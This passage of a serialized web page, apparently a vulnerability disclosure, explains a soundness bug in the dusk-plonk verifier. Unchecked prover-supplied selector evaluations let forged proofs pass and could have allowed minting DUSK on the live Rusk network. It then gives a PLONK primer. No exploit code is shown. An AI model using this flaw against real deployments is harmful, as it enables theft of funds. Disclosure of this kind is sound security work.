",{"type":23,"tag":36,"props":141953,"children":141956},{"href":141954,"rel":141955},"https://github.com/dusk-network/plonk/",[40],[141957],{"type":28,"value":141958},"dusk-plonk",{"type":28,"value":141960},", the PLONK implementation powering ",{"type":23,"tag":36,"props":141962,"children":141965},{"href":141963,"rel":141964},"https://dusk.network/",[40],[141966],{"type":28,"value":141967},"Dusk Network's",{"type":28,"value":141969}," ~$60M ",{"type":23,"tag":36,"props":141971,"children":141974},{"href":141972,"rel":141973},"https://www.coingecko.com/en/coins/dusk",[40],[141975],{"type":28,"value":141976},"market cap",{"type":28,"value":141978},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":36,"props":141980,"children":141983},{"href":141981,"rel":141982},"https://github.com/dusk-network/rusk",[40],[141984],{"type":28,"value":141985},"Rusk",{"type":28,"value":141987}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":24,"props":141989,"children":141990},{},[141991,141993,141998],{"type":28,"value":141992},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":95,"props":141994,"children":141995},{},[141996],{"type":28,"value":141997},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":141999}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":47,"props":142001,"children":142003},{"id":142002},"how-plonk-works-briefly",[142004],{"type":28,"value":142005},"How PLONK works (briefly)",{"type":23,"tag":24,"props":142007,"children":142008},{},[142009,142011,142018],{"type":28,"value":142010},"For a rigorous treatment see the ",{"type":23,"tag":36,"props":142012,"children":142015},{"href":142013,"rel":142014},"https://eprint.iacr.org/2019/953",[40],[142016],{"type":28,"value":142017},"original paper",{"type":28,"value":142019},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":24,"props":142021,"children":142022},{},[142023],{"type":28,"value":142024},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":9693,"props":142026,"children":142028},{"id":142027},"arithmetic-circuits-and-constraints",[142029],{"type":28,"value":142030},"Arithmetic circuits and constraints",{"type":23,"tag":24,"props":142032,"children":142033},{},[142034,142036,142085,142087,142236,142238,142321],{"type":28,"value":142035},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":209,"props":142037,"children":142039},{"className":142038},[4076,4077],[142040],{"type":23,"tag":213,"props":142041,"children":142043},{"className":142042},[4082],[142044],{"type":23,"tag":213,"props":142045,"children":142047},{"className":142046,"ariaHidden":1710},[4087],[142048],{"type":23,"tag":213,"props":142049,"children":142051},{"className":142050},[4092],[142052,142056,142061,142066,142071,142075,142080],{"type":23,"tag":213,"props":142053,"children":142055},{"className":142054,"style":4205},[4097],[],{"type":23,"tag":213,"props":142057,"children":142059},{"className":142058},[21766],[142060],{"type":28,"value":265},{"type":23,"tag":213,"props":142062,"children":142064},{"className":142063},[4103,21637],[142065],{"type":28,"value":19329},{"type":23,"tag":213,"props":142067,"children":142069},{"className":142068},[4216],[142070],{"type":28,"value":4219},{"type":23,"tag":213,"props":142072,"children":142074},{"className":142073,"style":4223},[4184],[],{"type":23,"tag":213,"props":142076,"children":142078},{"className":142077,"style":93586},[4103,21637],[142079],{"type":28,"value":3212},{"type":23,"tag":213,"props":142081,"children":142083},{"className":142082},[21788],[142084],{"type":28,"value":2121},{"type":28,"value":142086}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":209,"props":142088,"children":142090},{"className":142089},[4076,4077],[142091],{"type":23,"tag":213,"props":142092,"children":142094},{"className":142093},[4082],[142095],{"type":23,"tag":213,"props":142096,"children":142098},{"className":142097,"ariaHidden":1710},[4087],[142099,142161,142223],{"type":23,"tag":213,"props":142100,"children":142102},{"className":142101},[4092],[142103,142107,142148,142152,142157],{"type":23,"tag":213,"props":142104,"children":142106},{"className":142105,"style":123437},[4097],[],{"type":23,"tag":213,"props":142108,"children":142110},{"className":142109},[4103],[142111,142116],{"type":23,"tag":213,"props":142112,"children":142114},{"className":142113,"style":93586},[4103,21637],[142115],{"type":28,"value":3212},{"type":23,"tag":213,"props":142117,"children":142119},{"className":142118},[4120],[142120],{"type":23,"tag":213,"props":142121,"children":142123},{"className":142122},[4125],[142124],{"type":23,"tag":213,"props":142125,"children":142127},{"className":142126},[4130],[142128],{"type":23,"tag":213,"props":142129,"children":142131},{"className":142130,"style":4098},[4135],[142132],{"type":23,"tag":213,"props":142133,"children":142134},{"style":4139},[142135,142139],{"type":23,"tag":213,"props":142136,"children":142138},{"className":142137,"style":4145},[4144],[],{"type":23,"tag":213,"props":142140,"children":142142},{"className":142141},[4150,4151,4152,4153],[142143],{"type":23,"tag":213,"props":142144,"children":142146},{"className":142145},[4103,4153],[142147],{"type":28,"value":3221},{"type":23,"tag":213,"props":142149,"children":142151},{"className":142150,"style":4282},[4184],[],{"type":23,"tag":213,"props":142153,"children":142155},{"className":142154},[4287],[142156],{"type":28,"value":3190},{"type":23,"tag":213,"props":142158,"children":142160},{"className":142159,"style":4282},[4184],[],{"type":23,"tag":213,"props":142162,"children":142164},{"className":142163},[4092],[142165,142169,142210,142214,142219],{"type":23,"tag":213,"props":142166,"children":142168},{"className":142167,"style":123312},[4097],[],{"type":23,"tag":213,"props":142170,"children":142172},{"className":142171},[4103],[142173,142178],{"type":23,"tag":213,"props":142174,"children":142176},{"className":142175},[4103,21637],[142177],{"type":28,"value":19329},{"type":23,"tag":213,"props":142179,"children":142181},{"className":142180},[4120],[142182],{"type":23,"tag":213,"props":142183,"children":142185},{"className":142184},[4125],[142186],{"type":23,"tag":213,"props":142187,"children":142189},{"className":142188},[4130],[142190],{"type":23,"tag":213,"props":142191,"children":142193},{"className":142192,"style":4098},[4135],[142194],{"type":23,"tag":213,"props":142195,"children":142196},{"style":4139},[142197,142201],{"type":23,"tag":213,"props":142198,"children":142200},{"className":142199,"style":4145},[4144],[],{"type":23,"tag":213,"props":142202,"children":142204},{"className":142203},[4150,4151,4152,4153],[142205],{"type":23,"tag":213,"props":142206,"children":142208},{"className":142207},[4103,4153],[142209],{"type":28,"value":17346},{"type":23,"tag":213,"props":142211,"children":142213},{"className":142212,"style":4185},[4184],[],{"type":23,"tag":213,"props":142215,"children":142217},{"className":142216},[4190],[142218],{"type":28,"value":2703},{"type":23,"tag":213,"props":142220,"children":142222},{"className":142221,"style":4185},[4184],[],{"type":23,"tag":213,"props":142224,"children":142226},{"className":142225},[4092],[142227,142231],{"type":23,"tag":213,"props":142228,"children":142230},{"className":142229,"style":94131},[4097],[],{"type":23,"tag":213,"props":142232,"children":142234},{"className":142233},[4103],[142235],{"type":28,"value":54724},{"type":28,"value":142237},", here in ",{"type":23,"tag":209,"props":142239,"children":142241},{"className":142240},[4076,4077],[142242],{"type":23,"tag":213,"props":142243,"children":142245},{"className":142244},[4082],[142246],{"type":23,"tag":213,"props":142247,"children":142249},{"className":142248,"ariaHidden":1710},[4087],[142250],{"type":23,"tag":213,"props":142251,"children":142253},{"className":142252},[4092],[142254,142259],{"type":23,"tag":213,"props":142255,"children":142258},{"className":142256,"style":142257},[4097],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":213,"props":142260,"children":142262},{"className":142261},[4103],[142263,142268],{"type":23,"tag":213,"props":142264,"children":142266},{"className":142265},[4103,121875],[142267],{"type":28,"value":121878},{"type":23,"tag":213,"props":142269,"children":142271},{"className":142270},[4120],[142272],{"type":23,"tag":213,"props":142273,"children":142275},{"className":142274},[4125,21691],[142276,142310],{"type":23,"tag":213,"props":142277,"children":142279},{"className":142278},[4130],[142280,142305],{"type":23,"tag":213,"props":142281,"children":142283},{"className":142282,"style":93152},[4135],[142284],{"type":23,"tag":213,"props":142285,"children":142286},{"style":93156},[142287,142291],{"type":23,"tag":213,"props":142288,"children":142290},{"className":142289,"style":4145},[4144],[],{"type":23,"tag":213,"props":142292,"children":142294},{"className":142293},[4150,4151,4152,4153],[142295],{"type":23,"tag":213,"props":142296,"children":142298},{"className":142297},[4103,4153],[142299],{"type":23,"tag":213,"props":142300,"children":142302},{"className":142301},[4103,4153],[142303],{"type":28,"value":142304},"37",{"type":23,"tag":213,"props":142306,"children":142308},{"className":142307},[21794],[142309],{"type":28,"value":21797},{"type":23,"tag":213,"props":142311,"children":142313},{"className":142312},[4130],[142314],{"type":23,"tag":213,"props":142315,"children":142317},{"className":142316,"style":93183},[4135],[142318],{"type":23,"tag":213,"props":142319,"children":142320},{},[],{"type":28,"value":124},{"type":23,"tag":142323,"props":142324,"children":142325},"arithmetic-circuit-widget",{},[],{"type":23,"tag":24,"props":142327,"children":142328},{},[142329,142331,142357,142359,142438,142440,142517,142519,142596],{"type":28,"value":142330},"Each gate ",{"type":23,"tag":209,"props":142332,"children":142334},{"className":142333},[4076,4077],[142335],{"type":23,"tag":213,"props":142336,"children":142338},{"className":142337},[4082],[142339],{"type":23,"tag":213,"props":142340,"children":142342},{"className":142341,"ariaHidden":1710},[4087],[142343],{"type":23,"tag":213,"props":142344,"children":142346},{"className":142345},[4092],[142347,142352],{"type":23,"tag":213,"props":142348,"children":142351},{"className":142349,"style":142350},[4097],"height:0.6595em;",[],{"type":23,"tag":213,"props":142353,"children":142355},{"className":142354},[4103,21637],[142356],{"type":28,"value":3826},{"type":28,"value":142358}," has a left input ",{"type":23,"tag":209,"props":142360,"children":142362},{"className":142361},[4076,4077],[142363],{"type":23,"tag":213,"props":142364,"children":142366},{"className":142365},[4082],[142367],{"type":23,"tag":213,"props":142368,"children":142370},{"className":142369,"ariaHidden":1710},[4087],[142371],{"type":23,"tag":213,"props":142372,"children":142374},{"className":142373},[4092],[142375,142380],{"type":23,"tag":213,"props":142376,"children":142379},{"className":142377,"style":142378},[4097],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":213,"props":142381,"children":142383},{"className":142382},[4103],[142384,142389],{"type":23,"tag":213,"props":142385,"children":142387},{"className":142386,"style":93112},[4103,21637],[142388],{"type":28,"value":93115},{"type":23,"tag":213,"props":142390,"children":142392},{"className":142391},[4120],[142393],{"type":23,"tag":213,"props":142394,"children":142396},{"className":142395},[4125,21691],[142397,142427],{"type":23,"tag":213,"props":142398,"children":142400},{"className":142399},[4130],[142401,142422],{"type":23,"tag":213,"props":142402,"children":142404},{"className":142403,"style":93629},[4135],[142405],{"type":23,"tag":213,"props":142406,"children":142408},{"style":142407},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[142409,142413],{"type":23,"tag":213,"props":142410,"children":142412},{"className":142411,"style":4145},[4144],[],{"type":23,"tag":213,"props":142414,"children":142416},{"className":142415},[4150,4151,4152,4153],[142417],{"type":23,"tag":213,"props":142418,"children":142420},{"className":142419},[4103,21637,4153],[142421],{"type":28,"value":3826},{"type":23,"tag":213,"props":142423,"children":142425},{"className":142424},[21794],[142426],{"type":28,"value":21797},{"type":23,"tag":213,"props":142428,"children":142430},{"className":142429},[4130],[142431],{"type":23,"tag":213,"props":142432,"children":142434},{"className":142433,"style":93183},[4135],[142435],{"type":23,"tag":213,"props":142436,"children":142437},{},[],{"type":28,"value":142439},", right input ",{"type":23,"tag":209,"props":142441,"children":142443},{"className":142442},[4076,4077],[142444],{"type":23,"tag":213,"props":142445,"children":142447},{"className":142446},[4082],[142448],{"type":23,"tag":213,"props":142449,"children":142451},{"className":142450,"ariaHidden":1710},[4087],[142452],{"type":23,"tag":213,"props":142453,"children":142455},{"className":142454},[4092],[142456,142460],{"type":23,"tag":213,"props":142457,"children":142459},{"className":142458,"style":110070},[4097],[],{"type":23,"tag":213,"props":142461,"children":142463},{"className":142462},[4103],[142464,142469],{"type":23,"tag":213,"props":142465,"children":142467},{"className":142466,"style":93100},[4103,21637],[142468],{"type":28,"value":93919},{"type":23,"tag":213,"props":142470,"children":142472},{"className":142471},[4120],[142473],{"type":23,"tag":213,"props":142474,"children":142476},{"className":142475},[4125,21691],[142477,142506],{"type":23,"tag":213,"props":142478,"children":142480},{"className":142479},[4130],[142481,142501],{"type":23,"tag":213,"props":142482,"children":142484},{"className":142483,"style":93629},[4135],[142485],{"type":23,"tag":213,"props":142486,"children":142487},{"style":110099},[142488,142492],{"type":23,"tag":213,"props":142489,"children":142491},{"className":142490,"style":4145},[4144],[],{"type":23,"tag":213,"props":142493,"children":142495},{"className":142494},[4150,4151,4152,4153],[142496],{"type":23,"tag":213,"props":142497,"children":142499},{"className":142498},[4103,21637,4153],[142500],{"type":28,"value":3826},{"type":23,"tag":213,"props":142502,"children":142504},{"className":142503},[21794],[142505],{"type":28,"value":21797},{"type":23,"tag":213,"props":142507,"children":142509},{"className":142508},[4130],[142510],{"type":23,"tag":213,"props":142511,"children":142513},{"className":142512,"style":93183},[4135],[142514],{"type":23,"tag":213,"props":142515,"children":142516},{},[],{"type":28,"value":142518},", and output ",{"type":23,"tag":209,"props":142520,"children":142522},{"className":142521},[4076,4077],[142523],{"type":23,"tag":213,"props":142524,"children":142526},{"className":142525},[4082],[142527],{"type":23,"tag":213,"props":142528,"children":142530},{"className":142529,"ariaHidden":1710},[4087],[142531],{"type":23,"tag":213,"props":142532,"children":142534},{"className":142533},[4092],[142535,142539],{"type":23,"tag":213,"props":142536,"children":142538},{"className":142537,"style":110070},[4097],[],{"type":23,"tag":213,"props":142540,"children":142542},{"className":142541},[4103],[142543,142548],{"type":23,"tag":213,"props":142544,"children":142546},{"className":142545},[4103,21637],[142547],{"type":28,"value":93070},{"type":23,"tag":213,"props":142549,"children":142551},{"className":142550},[4120],[142552],{"type":23,"tag":213,"props":142553,"children":142555},{"className":142554},[4125,21691],[142556,142585],{"type":23,"tag":213,"props":142557,"children":142559},{"className":142558},[4130],[142560,142580],{"type":23,"tag":213,"props":142561,"children":142563},{"className":142562,"style":93629},[4135],[142564],{"type":23,"tag":213,"props":142565,"children":142566},{"style":93156},[142567,142571],{"type":23,"tag":213,"props":142568,"children":142570},{"className":142569,"style":4145},[4144],[],{"type":23,"tag":213,"props":142572,"children":142574},{"className":142573},[4150,4151,4152,4153],[142575],{"type":23,"tag":213,"props":142576,"children":142578},{"className":142577},[4103,21637,4153],[142579],{"type":28,"value":3826},{"type":23,"tag":213,"props":142581,"children":142583},{"className":142582},[21794],[142584],{"type":28,"value":21797},{"type":23,"tag":213,"props":142586,"children":142588},{"className":142587},[4130],[142589],{"type":23,"tag":213,"props":142590,"children":142592},{"className":142591,"style":93183},[4135],[142593],{"type":23,"tag":213,"props":142594,"children":142595},{},[],{"type":28,"value":142597},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":24,"props":142599,"children":142600},{},[142601,142603,142608,142610,142714,142716,142819,142821,142826],{"type":28,"value":142602},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":87,"props":142604,"children":142605},{},[142606],{"type":28,"value":142607},"selector",{"type":28,"value":142609}," values that act as switches: setting ",{"type":23,"tag":209,"props":142611,"children":142613},{"className":142612},[4076,4077],[142614],{"type":23,"tag":213,"props":142615,"children":142617},{"className":142616},[4082],[142618],{"type":23,"tag":213,"props":142619,"children":142621},{"className":142620,"ariaHidden":1710},[4087],[142622,142701],{"type":23,"tag":213,"props":142623,"children":142625},{"className":142624},[4092],[142626,142630,142688,142692,142697],{"type":23,"tag":213,"props":142627,"children":142629},{"className":142628,"style":109990},[4097],[],{"type":23,"tag":213,"props":142631,"children":142633},{"className":142632},[4103],[142634,142639],{"type":23,"tag":213,"props":142635,"children":142637},{"className":142636,"style":93586},[4103,21637],[142638],{"type":28,"value":93589},{"type":23,"tag":213,"props":142640,"children":142642},{"className":142641},[4120],[142643],{"type":23,"tag":213,"props":142644,"children":142646},{"className":142645},[4125,21691],[142647,142677],{"type":23,"tag":213,"props":142648,"children":142650},{"className":142649},[4130],[142651,142672],{"type":23,"tag":213,"props":142652,"children":142655},{"className":142653,"style":142654},[4135],"height:0.3283em;",[142656],{"type":23,"tag":213,"props":142657,"children":142658},{"style":93633},[142659,142663],{"type":23,"tag":213,"props":142660,"children":142662},{"className":142661,"style":4145},[4144],[],{"type":23,"tag":213,"props":142664,"children":142666},{"className":142665},[4150,4151,4152,4153],[142667],{"type":23,"tag":213,"props":142668,"children":142670},{"className":142669,"style":95108},[4103,21637,4153],[142671],{"type":28,"value":95111},{"type":23,"tag":213,"props":142673,"children":142675},{"className":142674},[21794],[142676],{"type":28,"value":21797},{"type":23,"tag":213,"props":142678,"children":142680},{"className":142679},[4130],[142681],{"type":23,"tag":213,"props":142682,"children":142684},{"className":142683,"style":93183},[4135],[142685],{"type":23,"tag":213,"props":142686,"children":142687},{},[],{"type":23,"tag":213,"props":142689,"children":142691},{"className":142690,"style":4282},[4184],[],{"type":23,"tag":213,"props":142693,"children":142695},{"className":142694},[4287],[142696],{"type":28,"value":3190},{"type":23,"tag":213,"props":142698,"children":142700},{"className":142699,"style":4282},[4184],[],{"type":23,"tag":213,"props":142702,"children":142704},{"className":142703},[4092],[142705,142709],{"type":23,"tag":213,"props":142706,"children":142708},{"className":142707,"style":94131},[4097],[],{"type":23,"tag":213,"props":142710,"children":142712},{"className":142711},[4103],[142713],{"type":28,"value":4106},{"type":28,"value":142715}," makes a row a multiplication gate, setting ",{"type":23,"tag":209,"props":142717,"children":142719},{"className":142718},[4076,4077],[142720],{"type":23,"tag":213,"props":142721,"children":142723},{"className":142722},[4082],[142724],{"type":23,"tag":213,"props":142725,"children":142727},{"className":142726,"ariaHidden":1710},[4087],[142728,142806],{"type":23,"tag":213,"props":142729,"children":142731},{"className":142730},[4092],[142732,142736,142793,142797,142802],{"type":23,"tag":213,"props":142733,"children":142735},{"className":142734,"style":109990},[4097],[],{"type":23,"tag":213,"props":142737,"children":142739},{"className":142738},[4103],[142740,142745],{"type":23,"tag":213,"props":142741,"children":142743},{"className":142742,"style":93586},[4103,21637],[142744],{"type":28,"value":93589},{"type":23,"tag":213,"props":142746,"children":142748},{"className":142747},[4120],[142749],{"type":23,"tag":213,"props":142750,"children":142752},{"className":142751},[4125,21691],[142753,142782],{"type":23,"tag":213,"props":142754,"children":142756},{"className":142755},[4130],[142757,142777],{"type":23,"tag":213,"props":142758,"children":142760},{"className":142759,"style":142654},[4135],[142761],{"type":23,"tag":213,"props":142762,"children":142763},{"style":93633},[142764,142768],{"type":23,"tag":213,"props":142765,"children":142767},{"className":142766,"style":4145},[4144],[],{"type":23,"tag":213,"props":142769,"children":142771},{"className":142770},[4150,4151,4152,4153],[142772],{"type":23,"tag":213,"props":142773,"children":142775},{"className":142774},[4103,21637,4153],[142776],{"type":28,"value":118064},{"type":23,"tag":213,"props":142778,"children":142780},{"className":142779},[21794],[142781],{"type":28,"value":21797},{"type":23,"tag":213,"props":142783,"children":142785},{"className":142784},[4130],[142786],{"type":23,"tag":213,"props":142787,"children":142789},{"className":142788,"style":93183},[4135],[142790],{"type":23,"tag":213,"props":142791,"children":142792},{},[],{"type":23,"tag":213,"props":142794,"children":142796},{"className":142795,"style":4282},[4184],[],{"type":23,"tag":213,"props":142798,"children":142800},{"className":142799},[4287],[142801],{"type":28,"value":3190},{"type":23,"tag":213,"props":142803,"children":142805},{"className":142804,"style":4282},[4184],[],{"type":23,"tag":213,"props":142807,"children":142809},{"className":142808},[4092],[142810,142814],{"type":23,"tag":213,"props":142811,"children":142813},{"className":142812,"style":94131},[4097],[],{"type":23,"tag":213,"props":142815,"children":142817},{"className":142816},[4103],[142818],{"type":28,"value":4106},{"type":28,"value":142820}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":87,"props":142822,"children":142823},{},[142824],{"type":28,"value":142825},"permutation argument",{"type":28,"value":142827}," for that, which we will not cover here.",{"type":23,"tag":9693,"props":142829,"children":142831},{"id":142830},"from-many-checks-to-one",[142832],{"type":28,"value":142833},"From many checks to one",{"type":23,"tag":24,"props":142835,"children":142836},{},[142837,142839,142844,142845,142937,142938,143030,143031,143123,143125,143130,143131,143223,143224,143316,143318,143343,143345,143370,143372,143464,143466,143491,143493,143518],{"type":28,"value":142838},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":87,"props":142840,"children":142841},{},[142842],{"type":28,"value":142843},"witness polynomials",{"type":28,"value":6550},{"type":23,"tag":209,"props":142846,"children":142848},{"className":142847},[4076,4077],[142849],{"type":23,"tag":213,"props":142850,"children":142852},{"className":142851},[4082],[142853],{"type":23,"tag":213,"props":142854,"children":142856},{"className":142855,"ariaHidden":1710},[4087],[142857],{"type":23,"tag":213,"props":142858,"children":142860},{"className":142859},[4092],[142861,142865,142922,142927,142932],{"type":23,"tag":213,"props":142862,"children":142864},{"className":142863,"style":4205},[4097],[],{"type":23,"tag":213,"props":142866,"children":142868},{"className":142867},[4103],[142869,142874],{"type":23,"tag":213,"props":142870,"children":142872},{"className":142871,"style":95454},[4103,21637],[142873],{"type":28,"value":33141},{"type":23,"tag":213,"props":142875,"children":142877},{"className":142876},[4120],[142878],{"type":23,"tag":213,"props":142879,"children":142881},{"className":142880},[4125,21691],[142882,142911],{"type":23,"tag":213,"props":142883,"children":142885},{"className":142884},[4130],[142886,142906],{"type":23,"tag":213,"props":142887,"children":142889},{"className":142888,"style":142654},[4135],[142890],{"type":23,"tag":213,"props":142891,"children":142892},{"style":95475},[142893,142897],{"type":23,"tag":213,"props":142894,"children":142896},{"className":142895,"style":4145},[4144],[],{"type":23,"tag":213,"props":142898,"children":142900},{"className":142899},[4150,4151,4152,4153],[142901],{"type":23,"tag":213,"props":142902,"children":142904},{"className":142903},[4103,21637,4153],[142905],{"type":28,"value":118064},{"type":23,"tag":213,"props":142907,"children":142909},{"className":142908},[21794],[142910],{"type":28,"value":21797},{"type":23,"tag":213,"props":142912,"children":142914},{"className":142913},[4130],[142915],{"type":23,"tag":213,"props":142916,"children":142918},{"className":142917,"style":93183},[4135],[142919],{"type":23,"tag":213,"props":142920,"children":142921},{},[],{"type":23,"tag":213,"props":142923,"children":142925},{"className":142924},[21766],[142926],{"type":28,"value":265},{"type":23,"tag":213,"props":142928,"children":142930},{"className":142929},[4103,21637],[142931],{"type":28,"value":19329},{"type":23,"tag":213,"props":142933,"children":142935},{"className":142934},[21788],[142936],{"type":28,"value":2121},{"type":28,"value":424},{"type":23,"tag":209,"props":142939,"children":142941},{"className":142940},[4076,4077],[142942],{"type":23,"tag":213,"props":142943,"children":142945},{"className":142944},[4082],[142946],{"type":23,"tag":213,"props":142947,"children":142949},{"className":142948,"ariaHidden":1710},[4087],[142950],{"type":23,"tag":213,"props":142951,"children":142953},{"className":142952},[4092],[142954,142958,143015,143020,143025],{"type":23,"tag":213,"props":142955,"children":142957},{"className":142956,"style":4205},[4097],[],{"type":23,"tag":213,"props":142959,"children":142961},{"className":142960},[4103],[142962,142967],{"type":23,"tag":213,"props":142963,"children":142965},{"className":142964,"style":95454},[4103,21637],[142966],{"type":28,"value":33141},{"type":23,"tag":213,"props":142968,"children":142970},{"className":142969},[4120],[142971],{"type":23,"tag":213,"props":142972,"children":142974},{"className":142973},[4125,21691],[142975,143004],{"type":23,"tag":213,"props":142976,"children":142978},{"className":142977},[4130],[142979,142999],{"type":23,"tag":213,"props":142980,"children":142982},{"className":142981,"style":142654},[4135],[142983],{"type":23,"tag":213,"props":142984,"children":142985},{"style":95475},[142986,142990],{"type":23,"tag":213,"props":142987,"children":142989},{"className":142988,"style":4145},[4144],[],{"type":23,"tag":213,"props":142991,"children":142993},{"className":142992},[4150,4151,4152,4153],[142994],{"type":23,"tag":213,"props":142995,"children":142997},{"className":142996,"style":122877},[4103,21637,4153],[142998],{"type":28,"value":122880},{"type":23,"tag":213,"props":143000,"children":143002},{"className":143001},[21794],[143003],{"type":28,"value":21797},{"type":23,"tag":213,"props":143005,"children":143007},{"className":143006},[4130],[143008],{"type":23,"tag":213,"props":143009,"children":143011},{"className":143010,"style":93183},[4135],[143012],{"type":23,"tag":213,"props":143013,"children":143014},{},[],{"type":23,"tag":213,"props":143016,"children":143018},{"className":143017},[21766],[143019],{"type":28,"value":265},{"type":23,"tag":213,"props":143021,"children":143023},{"className":143022},[4103,21637],[143024],{"type":28,"value":19329},{"type":23,"tag":213,"props":143026,"children":143028},{"className":143027},[21788],[143029],{"type":28,"value":2121},{"type":28,"value":424},{"type":23,"tag":209,"props":143032,"children":143034},{"className":143033},[4076,4077],[143035],{"type":23,"tag":213,"props":143036,"children":143038},{"className":143037},[4082],[143039],{"type":23,"tag":213,"props":143040,"children":143042},{"className":143041,"ariaHidden":1710},[4087],[143043],{"type":23,"tag":213,"props":143044,"children":143046},{"className":143045},[4092],[143047,143051,143108,143113,143118],{"type":23,"tag":213,"props":143048,"children":143050},{"className":143049,"style":4205},[4097],[],{"type":23,"tag":213,"props":143052,"children":143054},{"className":143053},[4103],[143055,143060],{"type":23,"tag":213,"props":143056,"children":143058},{"className":143057,"style":95454},[4103,21637],[143059],{"type":28,"value":33141},{"type":23,"tag":213,"props":143061,"children":143063},{"className":143062},[4120],[143064],{"type":23,"tag":213,"props":143065,"children":143067},{"className":143066},[4125,21691],[143068,143097],{"type":23,"tag":213,"props":143069,"children":143071},{"className":143070},[4130],[143072,143092],{"type":23,"tag":213,"props":143073,"children":143075},{"className":143074,"style":142654},[4135],[143076],{"type":23,"tag":213,"props":143077,"children":143078},{"style":95475},[143079,143083],{"type":23,"tag":213,"props":143080,"children":143082},{"className":143081,"style":4145},[4144],[],{"type":23,"tag":213,"props":143084,"children":143086},{"className":143085},[4150,4151,4152,4153],[143087],{"type":23,"tag":213,"props":143088,"children":143090},{"className":143089,"style":93100},[4103,21637,4153],[143091],{"type":28,"value":115419},{"type":23,"tag":213,"props":143093,"children":143095},{"className":143094},[21794],[143096],{"type":28,"value":21797},{"type":23,"tag":213,"props":143098,"children":143100},{"className":143099},[4130],[143101],{"type":23,"tag":213,"props":143102,"children":143104},{"className":143103,"style":93183},[4135],[143105],{"type":23,"tag":213,"props":143106,"children":143107},{},[],{"type":23,"tag":213,"props":143109,"children":143111},{"className":143110},[21766],[143112],{"type":28,"value":265},{"type":23,"tag":213,"props":143114,"children":143116},{"className":143115},[4103,21637],[143117],{"type":28,"value":19329},{"type":23,"tag":213,"props":143119,"children":143121},{"className":143120},[21788],[143122],{"type":28,"value":2121},{"type":28,"value":143124}," and the selectors become ",{"type":23,"tag":87,"props":143126,"children":143127},{},[143128],{"type":28,"value":143129},"selector polynomials",{"type":28,"value":6550},{"type":23,"tag":209,"props":143132,"children":143134},{"className":143133},[4076,4077],[143135],{"type":23,"tag":213,"props":143136,"children":143138},{"className":143137},[4082],[143139],{"type":23,"tag":213,"props":143140,"children":143142},{"className":143141,"ariaHidden":1710},[4087],[143143],{"type":23,"tag":213,"props":143144,"children":143146},{"className":143145},[4092],[143147,143151,143208,143213,143218],{"type":23,"tag":213,"props":143148,"children":143150},{"className":143149,"style":4205},[4097],[],{"type":23,"tag":213,"props":143152,"children":143154},{"className":143153},[4103],[143155,143160],{"type":23,"tag":213,"props":143156,"children":143158},{"className":143157},[4103,21637],[143159],{"type":28,"value":76855},{"type":23,"tag":213,"props":143161,"children":143163},{"className":143162},[4120],[143164],{"type":23,"tag":213,"props":143165,"children":143167},{"className":143166},[4125,21691],[143168,143197],{"type":23,"tag":213,"props":143169,"children":143171},{"className":143170},[4130],[143172,143192],{"type":23,"tag":213,"props":143173,"children":143175},{"className":143174,"style":142654},[4135],[143176],{"type":23,"tag":213,"props":143177,"children":143178},{"style":93156},[143179,143183],{"type":23,"tag":213,"props":143180,"children":143182},{"className":143181,"style":4145},[4144],[],{"type":23,"tag":213,"props":143184,"children":143186},{"className":143185},[4150,4151,4152,4153],[143187],{"type":23,"tag":213,"props":143188,"children":143190},{"className":143189,"style":95108},[4103,21637,4153],[143191],{"type":28,"value":95111},{"type":23,"tag":213,"props":143193,"children":143195},{"className":143194},[21794],[143196],{"type":28,"value":21797},{"type":23,"tag":213,"props":143198,"children":143200},{"className":143199},[4130],[143201],{"type":23,"tag":213,"props":143202,"children":143204},{"className":143203,"style":93183},[4135],[143205],{"type":23,"tag":213,"props":143206,"children":143207},{},[],{"type":23,"tag":213,"props":143209,"children":143211},{"className":143210},[21766],[143212],{"type":28,"value":265},{"type":23,"tag":213,"props":143214,"children":143216},{"className":143215},[4103,21637],[143217],{"type":28,"value":19329},{"type":23,"tag":213,"props":143219,"children":143221},{"className":143220},[21788],[143222],{"type":28,"value":2121},{"type":28,"value":424},{"type":23,"tag":209,"props":143225,"children":143227},{"className":143226},[4076,4077],[143228],{"type":23,"tag":213,"props":143229,"children":143231},{"className":143230},[4082],[143232],{"type":23,"tag":213,"props":143233,"children":143235},{"className":143234,"ariaHidden":1710},[4087],[143236],{"type":23,"tag":213,"props":143237,"children":143239},{"className":143238},[4092],[143240,143244,143301,143306,143311],{"type":23,"tag":213,"props":143241,"children":143243},{"className":143242,"style":4205},[4097],[],{"type":23,"tag":213,"props":143245,"children":143247},{"className":143246},[4103],[143248,143253],{"type":23,"tag":213,"props":143249,"children":143251},{"className":143250},[4103,21637],[143252],{"type":28,"value":76855},{"type":23,"tag":213,"props":143254,"children":143256},{"className":143255},[4120],[143257],{"type":23,"tag":213,"props":143258,"children":143260},{"className":143259},[4125,21691],[143261,143290],{"type":23,"tag":213,"props":143262,"children":143264},{"className":143263},[4130],[143265,143285],{"type":23,"tag":213,"props":143266,"children":143268},{"className":143267,"style":142654},[4135],[143269],{"type":23,"tag":213,"props":143270,"children":143271},{"